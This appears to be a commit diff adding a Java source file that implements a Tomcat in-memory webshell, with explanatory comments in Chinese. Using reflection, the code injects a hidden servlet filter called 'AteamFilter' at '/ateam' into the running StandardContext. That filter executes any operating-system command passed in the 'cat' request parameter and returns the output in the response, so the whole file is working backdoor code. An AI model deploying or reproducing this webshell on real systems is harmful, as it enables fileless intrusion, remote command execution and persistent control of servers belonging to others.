1+ package memshell .tomcat ;
2+
3+ import org .apache .catalina .Context ;
4+ import org .apache .catalina .core .ApplicationContext ;
5+ import org .apache .catalina .core .ApplicationFilterConfig ;
6+ import org .apache .catalina .core .StandardContext ;
7+ // tomcat 8/9
8+ import org .apache .tomcat .util .descriptor .web .FilterMap ;
9+ import org .apache .tomcat .util .descriptor .web .FilterDef ;
10+ // tomcat 7
11+ //import org.apache.catalina.deploy.FilterDef;
12+ //import org.apache.catalina.deploy.FilterMap;
13+
14+ import javax .servlet .*;
15+ import javax .servlet .annotation .WebFilter ;
16+ import javax .servlet .http .HttpServletRequest ;
17+ import javax .servlet .http .HttpServletResponse ;
18+ import java .io .IOException ;
19+ import java .io .InputStream ;
20+ import java .lang .reflect .Constructor ;
21+ import java .lang .reflect .Field ;
22+ import java .lang .reflect .InvocationTargetException ;
23+ import java .util .Map ;
24+ import java .util .Scanner ;
25+
26+ @ WebFilter ("catfilter" )
27+ public class AddFilter implements Filter {
28+ String name = "AteamFilter" ;
29+ String injectURL = "/ateam" ;
30+ String shellParameter = "cat" ;
31+ AddFilter () {
32+
33+ try {
34+ java .lang .Class applicationDispatcher = java .lang .Class .forName ("org.apache.catalina.core.ApplicationDispatcher" );
35+ java .lang .reflect .Field WRAP_SAME_OBJECT = applicationDispatcher .getDeclaredField ("WRAP_SAME_OBJECT" );
36+ java .lang .reflect .Field modifiersField = WRAP_SAME_OBJECT .getClass ().getDeclaredField ("modifiers" );
37+ modifiersField .setAccessible (true );
38+ modifiersField .setInt (WRAP_SAME_OBJECT , WRAP_SAME_OBJECT .getModifiers () & ~java .lang .reflect .Modifier .FINAL );
39+ WRAP_SAME_OBJECT .setAccessible (true );
40+ if (!WRAP_SAME_OBJECT .getBoolean (null )) {
41+ WRAP_SAME_OBJECT .setBoolean (null , true );
42+ }
43+
44+ //初始化 lastServicedRequest
45+ java .lang .Class applicationFilterChain = java .lang .Class .forName ("org.apache.catalina.core.ApplicationFilterChain" );
46+ java .lang .reflect .Field lastServicedRequest = applicationFilterChain .getDeclaredField ("lastServicedRequest" );
47+ modifiersField = lastServicedRequest .getClass ().getDeclaredField ("modifiers" );
48+ modifiersField .setAccessible (true );
49+ modifiersField .setInt (lastServicedRequest , lastServicedRequest .getModifiers () & ~java .lang .reflect .Modifier .FINAL );
50+ lastServicedRequest .setAccessible (true );
51+ if (lastServicedRequest .get (null ) == null ) {
52+ lastServicedRequest .set (null , new ThreadLocal <>());
53+ }
54+
55+ //初始化 lastServicedResponse
56+ java .lang .reflect .Field lastServicedResponse = applicationFilterChain .getDeclaredField ("lastServicedResponse" );
57+ modifiersField = lastServicedResponse .getClass ().getDeclaredField ("modifiers" );
58+ modifiersField .setAccessible (true );
59+ modifiersField .setInt (lastServicedResponse , lastServicedResponse .getModifiers () & ~java .lang .reflect .Modifier .FINAL );
60+ lastServicedResponse .setAccessible (true );
61+ if (lastServicedResponse .get (null ) == null ) {
62+ lastServicedResponse .set (null , new ThreadLocal <>());
63+ }
64+
65+
66+ java .lang .reflect .Field lastServicedRequest2 = applicationFilterChain .getDeclaredField ("lastServicedRequest" );
67+ lastServicedRequest2 .setAccessible (true );
68+ java .lang .ThreadLocal thredLocal = (java .lang .ThreadLocal ) lastServicedRequest2 .get (null );
69+
70+
71+ /*shell注入,前提需要能拿到request、response等*/
72+ if (thredLocal != null && thredLocal .get () != null ) {
73+ javax .servlet .ServletRequest servletRequest = (javax .servlet .ServletRequest ) thredLocal .get ();
74+ javax .servlet .ServletContext servletContext = servletRequest .getServletContext ();
75+
76+
77+
78+ Field appctx = servletContext .getClass ().getDeclaredField ("context" ); // 获取属性
79+ appctx .setAccessible (true );
80+ ApplicationContext applicationContext = (ApplicationContext ) appctx .get (servletContext ); //从servletContext中获取context属性->applicationContext
81+
82+ Field stdctx = applicationContext .getClass ().getDeclaredField ("context" ); // 获取属性
83+ stdctx .setAccessible (true );
84+ StandardContext standardContext = (StandardContext ) stdctx .get (applicationContext ); // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext
85+
86+ Field Configs = standardContext .getClass ().getDeclaredField ("filterConfigs" ); //获取属性
87+ Configs .setAccessible (true );
88+ Map filterConfigs = (Map ) Configs .get (standardContext ); // 从standardContext中获取filterConfigs属性,将filterConfig加入这个这个map即可
89+ // 以上反射获取的成员属性都是接口实例的
90+
91+ if (filterConfigs .get (name ) == null ) {
92+ AddFilter filter = new AddFilter ("aaa" );
93+
94+ FilterDef filterDef = new FilterDef (); // 组装filter各类信息和对象本身加载到标准的filterDef对象
95+ filterDef .setFilterName (name );
96+ filterDef .setFilterClass (filter .getClass ().getName ());
97+ filterDef .setFilter (filter );
98+ standardContext .addFilterDef (filterDef ); // 将filterDef 添加到filterDefs中
99+
100+ FilterMap filterMap = new FilterMap ();
101+ filterMap .addURLPattern (injectURL );
102+ filterMap .setFilterName (name );
103+ filterMap .setDispatcher (DispatcherType .REQUEST .name ()); // 关键点就在于tomcat>=7以上才有这个
104+ standardContext .addFilterMapBefore (filterMap ); // 组装filterMap 添加到filterMaps中
105+
106+ //在方法名中加Declared的是返回所有的构造方法,不加Declared的只返回public访问权限的构造器
107+ //反射机制中,所有添加Declared的获取方式都是暴力获取所有构造(或方法,或字段),通过暴力获取的字段我们在进行访问的时候需要进行可访问性设置,即获取的反射对象.setAccessible(true);否则只是获取而无法操作
108+ Constructor constructor = ApplicationFilterConfig .class .getDeclaredConstructor (Context .class , FilterDef .class );
109+ constructor .setAccessible (true );
110+ ApplicationFilterConfig filterConfig = (ApplicationFilterConfig ) constructor .newInstance (standardContext , filterDef );
111+
112+ filterConfigs .put (name , filterConfig ); //在filterConfigs中添加定义好的filterConfig
113+
114+ }
115+ ;
116+
117+ }
118+ } catch (NoSuchMethodException | InstantiationException | InvocationTargetException | NoSuchFieldException | IllegalAccessException | ClassNotFoundException e ) {
119+ e .printStackTrace ();
120+ }
121+ }
122+
123+ public AddFilter (String aaa ) {
124+ }
125+
126+ @ Override
127+ public void init (FilterConfig filterConfig ) throws ServletException {
128+
129+ }
130+
131+ @ Override
132+ public void doFilter (ServletRequest servletRequest , ServletResponse servletResponse , FilterChain filterChain ) throws IOException , ServletException {
133+ HttpServletRequest req = (HttpServletRequest ) servletRequest ;
134+ HttpServletResponse resp = (HttpServletResponse ) servletResponse ;
135+ if (req .getParameter (this .shellParameter ) != null ) {
136+ String charsetName = System .getProperty ("os.name" ).toLowerCase ().contains ("window" ) ? "GBK" :"UTF-8" ;
137+ InputStream in = Runtime .getRuntime ().exec (req .getParameter (this .shellParameter )).getInputStream ();
138+ Scanner s = new Scanner (in ,charsetName ).useDelimiter ("\\ A" );
139+ String output = s .hasNext () ? s .next () : "" ;
140+ // servletResponse.getWriter().write(output);
141+
142+ resp .getWriter ().write (output );
143+
144+ }
145+ filterChain .doFilter (servletRequest , servletResponse );
146+ }
147+
148+ @ Override
149+ public void destroy () {
150+
151+ }
152+ }
0 commit comments